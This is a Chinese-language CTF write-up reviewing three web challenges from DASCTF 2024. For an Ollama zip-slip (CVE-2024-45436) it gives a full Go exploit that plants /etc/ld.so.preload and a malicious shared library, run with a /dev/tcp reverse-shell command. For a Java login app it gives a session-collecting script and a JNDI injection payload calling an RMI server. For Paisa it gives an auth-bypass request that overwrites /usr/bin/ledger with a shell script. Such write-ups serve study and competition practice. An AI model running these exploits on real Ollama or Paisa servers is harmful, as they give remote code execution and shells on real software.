DASCTF-2024金秋十月
DASCTF 2024金秋十月| 秋意浓 战火燃 码上见真章
没打,web三道0解题,赛后随便看看wp,看看思路
flow
任意文件读取
直接/proc/1/environ
ollama4shell
提示:CVE-2024-45436 LD_PRELOAD
CVE-2024-45436
看了下描述以及代码比较,大概就是像zipslip一样的漏洞
让文件的名字为../../xx
就能够任意穿越目录
func GenEvilZip() (string, error) {
zipFile, err := os.Create("evil.zip")
if err != nil {
return "", err
}
zw := zip.NewWriter(zipFile)
preloadFile, err := zw.Create("../../../../../../../../../../etc/ld.so.preload")
_, err = preloadFile.Write([]byte("/tmp/hook.so"))
if err != nil {
return "", err
}
soFile, err := zw.Create("../../../../../../../../../../tmp/hook.so")
if err != nil {
return "", err
}
locSoFile, err := os.Open("hook.so")
if err != nil {
return "", err
}
defer locSoFile.Close()
io.Copy(soFile, locSoFile)
zw.Close()
zipFile.Close()
return "evil.zip", nil
}
LD_PRELOAD
我们常知的LD_PRELOAD是一个环境变量
但是他也存在一个对应的文件是在/etc/ld.so.preload
,内容为指定的so文件路径(例如/tmp/xx.so
)
官方payload
知道以上这两点大概就可以了,其他一些细节就不看了
需要在linux下运行,环境需要有gcc
安装golang,执行如下命令反弹shell
go run main.go -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"
package main
import (
"archive/zip"
"bufio"
"bytes"
"crypto/sha256"
"encoding/json"
"flag"
"fmt"
"io"
"log"
"net/http"
"net/url"
"os"
"os/exec"
"strconv"
"strings"
)
const CODE = `#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) myInitFunction() {
const char *f1 = "/etc/ld.so.preload";
const char *f2 = "/tmp/hook.so";
unlink(f1);
unlink(f2);
system("bash -c '%s'");
}`
func main() {
var targetUrl string
var execCmd string
flag.StringVar(&targetUrl, "target", "", "target url")
flag.StringVar(&execCmd, "exec", "", "exec command")
flag.Parse()
if targetUrl == "" {
fmt.Println("target url is required")
os.Exit(1)
}
u := FormatUrl(targetUrl)
detectRes, err := Detect(u)
if err != nil {
log.Fatal(err)
}
if !detectRes {
fmt.Println("\nVulnerability does not exist")
os.Exit(1)
}
fmt.Println("\nVulnerability does exist!!!")
if execCmd == "" {
fmt.Println("exec command is required")
os.Exit(1)
}
_, err = GenEvilSo(execCmd)
if err != nil {
log.Fatal(err)
}
evilZipName, err := GenEvilZip()
if err != nil {
log.Fatal(err)
}
blobSha256Name, err := UploadBlob(u, evilZipName)
if err != nil {
log.Fatal(err)
}
err = Create(u, strings.ReplaceAll(blobSha256Name, ":", "-"))
if err != nil {
log.Fatal(err)
}
err = EmbeddingsExec(u, "all-minilm:22m")
if err != nil {
log.Fatal(err)
}
}
func GenEvilSo(cmd string) (string, error) {
code := fmt.Sprintf(CODE, cmd)
err := os.WriteFile("tmp.c", []byte(code), 0644)
if err != nil {
return "", err
}
compile := exec.Command("gcc", "tmp.c", "-o", "hook.so", "-fPIC", "-shared", "-ldl", "-D_GNU_SOURCE")
err = compile.Run()
if err != nil {
fmt.Println(err)
return "", err
}
return "hook.so", nil
}
func GenEvilZip() (string, error) {
zipFile, err := os.Create("evil.zip")
if err != nil {
return "", err
}
zw := zip.NewWriter(zipFile)
preloadFile, err := zw.Create("../../../../../../../../../../etc/ld.so.preload")
_, err = preloadFile.Write([]byte("/tmp/hook.so"))
if err != nil {
return "", err
}
soFile, err := zw.Create("../../../../../../../../../../tmp/hook.so")
if err != nil {
return "", err
}
locSoFile, err := os.Open("hook.so")
if err != nil {
return "", err
}
defer locSoFile.Close()
io.Copy(soFile, locSoFile)
zw.Close()
zipFile.Close()
return "evil.zip", nil
}
func UploadBlob(url, fileName string) (string, error) {
f, err := os.Open(fileName)
if err != nil {
return "", err
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return "", err
}
fName := fmt.Sprintf("sha256:%x", h.Sum(nil))
_, err = f.Seek(0, 0)
if err != nil {
return "", err
}
newReader := bufio.NewReader(f)
res, err := http.Post(url+"/api/blobs/"+fName, "application/octet-stream", newReader)
if err != nil {
return "", err
}
content, err := io.ReadAll(res.Body)
if err != nil {
return "", err
}
fmt.Println("http log: " + string(content))
return fName, nil
}
func Create(url, remoteFilePath string) error {
jsonContent := []byte(fmt.Sprintf(`{"name": "test","modelfile": "FROM /root/.ollama/models/blobs/%s"}`, remoteFilePath))
res, err := http.Post(url+"/api/create", "application/json", bytes.NewBuffer(jsonContent))
if err != nil {
return err
}
content, err := io.ReadAll(res.Body)
if err != nil {
return err
}
fmt.Println("http log: " + string(content))
return nil
}
func EmbeddingsExec(url, model string) error {
for i := 0; i < 3; i++ {
jsonContent := []byte(fmt.Sprintf(`{"model":"%s","keep_alive": 0}`, model))
res, err := http.Post(url+"/api/embeddings", "application/json", bytes.NewBuffer(jsonContent))
if err != nil {
return err
}
if res.StatusCode != 200 {
fmt.Println("pulling model, please wait......")
err := PullMinilmModel(url)
if err != nil {
return err
}
} else {
content, err := io.ReadAll(res.Body)
if err != nil {
return err
}
fmt.Println("http log: " + string(content))
break
}
}
return nil
}
func PullMinilmModel(url string) error {
jsonContent := `{"name":"all-minilm:22m"}`
res, err := http.Post(url+"/api/pull", "application/json", bytes.NewBuffer([]byte(jsonContent)))
if err != nil {
return err
}
content, err := io.ReadAll(res.Body)
if err != nil {
return err
}
fmt.Println("http log: " + string(content))
return nil
}
func Detect(url string) (bool, error) {
res, err := http.Get(url + "/api/version")
if err != nil {
return false, err
}
var jsonMap map[string]string
jsonContent, err := io.ReadAll(res.Body)
if err != nil {
return false, err
}
if err := json.Unmarshal(jsonContent, &jsonMap); err != nil || jsonMap["version"] == "" {
return false, err
}
return isVersionLessThan(jsonMap["version"], "0.1.47"), nil
}
func FormatUrl(u string) string {
ur, err := url.Parse(u)
if err != nil {
fmt.Println(ur)
}
return fmt.Sprintf("%s://%s", ur.Scheme, ur.Host)
}
func isVersionLessThan(version, target string) bool {
v1 := strings.Split(version, ".")
v2 := strings.Split(target, ".")
for i := 0; i < len(v1) && i < len(v2); i++ {
num1, _ := strconv.Atoi(v1[i])
num2, _ := strconv.Atoi(v2[i])
if num1 < num2 {
return true
} else if num1 > num2 {
return false
}
}
return len(v1) < len(v2)
}
ezlogin
大概功能就是根据username,创建username.xml文件
漏洞点
注册的username和password都会被存储在session中
然后在/editPass
会从session中获取password,然后替换所有匹配的旧密码为新密码
总之关键就在这个session中,也就是网页中的JSESSIONID
看了payload大概就懂了
不同的session就对应着不同的旧密码(也就是想要被替换的内容)
那我们收集不同的session(这些session的username是相同的,因为最后是要对同一个文件进行替换)
在/editPass
路由使用不同的JSESSIONID
就可以替换不同的旧密码
sessions = {}
def register(passwd):
data={"password":passwd,"username":"F"}
res = requests.post(targeturl+"/register",data=data)
if "success" in res.text.lower():
print(f"register {passwd} success")
else : print(f"register fail: {res.text}");exit(114514)
def getsession(passwd):
data={"password":passwd,"username":"F"}
res = requests.post(targeturl+"/login",data=data)
if "redirect" in res.text.lower() :
session=res.headers.get("Set-Cookie").split(";")[0].split("=")[1]
print(f"session for {passwd} : {session}")
headers = {"Cookie" : f"JSESSIONID={session}"}
sessions[passwd] = headers
else:
print(f"login fail : {res.text}");exit(114514)
def editpass(oldpass,newpass):
data={"newPass":newpass}
headers = sessions[oldpass]
res = requests.post(targeturl+"/editPass",data=data,headers=headers)
if "success" in res.text.lower():
print(f"change {oldpass} to {newpass} success")
else:
print(f"edit fail : {res.text}");exit(114514)
def deluser(passwd):
res = requests.get(targeturl+"/del",headers=sessions[passwd])
if "success" in res.text.lower():
print(f"delete {passwd} success")
def addsession(passwd):
register(passwd)
getsession(passwd)
#不带JSESSIONID登录就会新生成一个JSESSIONID,并把username和password存入其中
#然后把password和收集到的JSESSIONID存入一个集合当中
deluser(passwd) # 删除的仅仅是xml文件
经过不断地addsession我们就可以收集到各种被替换内容对应的JSESSIONID
addsession("_____")
addsession("____")
for s in list3:
addsession(s)
for s in list4:
addsession(s)
addsession("string")
addsession("object")
addsession("/void")
addsession(" ")
addsession("1111111111")
addsession("/11111")
addsession("java")
addsession("11111")
register("haha")
getsession("haha")
print(sessions)
sessions = {'11111 clas': {'Cookie': 'JSESSIONID=3DDADA93735FEE377FF56EF8BB4D36DF'}, 's="org.exa': {'Cookie': 'JSESSIONID=29CDD7E21332352DCF0179FBAAF32777'}, 'mple.auth.': {'Cookie': 'JSESSIONID=F4E5C97709AEB4BE9B9BEF452FF4C1AF'}, 'User"': {'Cookie': 'JSESSIONID=34001B3288FA13128D240635B0CA0BF1'}, '_____': {'Cookie': 'JSESSIONID=C5255A7093E05221941777A68546E158'}, '____': {'Cookie': 'JSESSIONID=858B8E2E3B19ED9C0142EDAC8C04D10D'}, 'void prope': {'Cookie': 'JSESSIONID=F3EA3DD09603E77C9410BBC3648712A4'}, 'rty="usern': {'Cookie': 'JSESSIONID=CC18DB0DE6287E4878BCAEEABAD34741'}, 'ame"': {'Cookie': 'JSESSIONID=2A52DD10FFAC76CE261FA14FBA57F229'}, 'rty="passw': {'Cookie': 'JSESSIONID=3A74F4CED350E5EED4C0056621154E9F'}, 'ord"': {'Cookie': 'JSESSIONID=562CCFD6EDBA5E26B1028F982920E7E0'}, 'string': {'Cookie': 'JSESSIONID=75C1F992F3EBA13C93B2A8018591E647'}, 'object': {'Cookie': 'JSESSIONID=EBEB7322E453778D69E370B1EE93EBBA'}, '/void': {'Cookie': 'JSESSIONID=6B59B6860C4EAA2D8B14C291AAC11312'}, ' ': {'Cookie': 'JSESSIONID=631A6E3E527843501AE5E86428C1F8A8'}, '1111111111': {'Cookie': 'JSESSIONID=CE2B99F685F3AC30699ABD4BC8D90E11'}, '/11111': {'Cookie': 'JSESSIONID=F80C6E63D6D862464C94E75BF93CFBB7'}, 'java': {'Cookie': 'JSESSIONID=4FFCC573DDD7D7601B240F9B344A9471'}, '11111': {'Cookie': 'JSESSIONID=4E6E7BB9E06AC26C61F4704DC910C3BF'}, 'haha': {'Cookie': 'JSESSIONID=4B1198B7321DE26C437493A69F6A9C25'}}
然后我们就可以用它去修改对应内容了
根据提示我们可以使用<!--
注释掉内容
经过替换后达到这样的效果
<!-->
111<111>
111<111>
111<111>F<111>
111<111>
111<111>
111<111>haha<111>
111<111>
111<111>
</!-->
为什么那么多1是为了减少xml的长度,不能只注释
最后替换掉haha
使用闭合注释-->
然后是我们想要的xml内容
WP中给出的利用是jndi注入
<java>
<object class="javax.naming.InitialContext">
<void method="lookup">
<string>rmi://ip:port/a</string>
</void>
</object>
</java>
所以大概就是
payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
最后效果
<!-->
111<111>
111<111>
111<111>F<111>
111<111>
111<111>
111<111>--><java><object class="javax.naming.InitialContext"><void method="lookup"><string>rmi://1.2.3.4:7777/a</string></void></object></java><!--<111>
111<111>
111<111>
</!-->
然后wp中使用JRMPListener配合jackson链子构造服务端
我还是喜欢使用ldap打jackson链
总而言之,这个题目的关键在于把想要替换的内容通过登录生成JSESSIONID
,然后收集这些session
最后利用那些session对同一个文件进行替换
paisa4shell
pankas师傅已经发布了issue,paisa <=v0.7.0 web server has an unauthorized remote command execution vulnerability · Issue #294 · ananthakumaran/paisa (github.com)
提示:
前台RCE,使用官方docker镜像;https://github.com/ananthakumaran/paisa
鉴权能绕、文件覆盖
路由逻辑都是在server.go中
wp分析
使用中间件鉴权
主要是判断了是不是/api
前缀
这里就要绕过一下
c.Request.RequestURI
获取的是原始的请求URI,gin框架的路由选择是根据 c.Request.URL.Path
来确定的,所以我们可以通过URL编码的方式绕过这个中间件的检测
能够进行文件覆盖
分析一下/api/editor/validate
大概就是会寻找二进制文件ledger
所在的路径,然后执行这个文件
配合上一个能够文件覆盖的功能,我们可以写一个sh文件内容
POST /%61pi/sheets/save HTTP/1.1
Host: 127.0.0.1:7500
Connection: close
Content-Type: application/json
Content-Length: 60
{"name":"../../../usr/bin/ledger","content":"#!/bin/sh\nls /"}
这个路径可以一个一个试,文件不存在时会显示File does not exist
然后就会执行
其余发现
/api/editor/save
同样存在文件覆盖功能
存在任意文件读取功能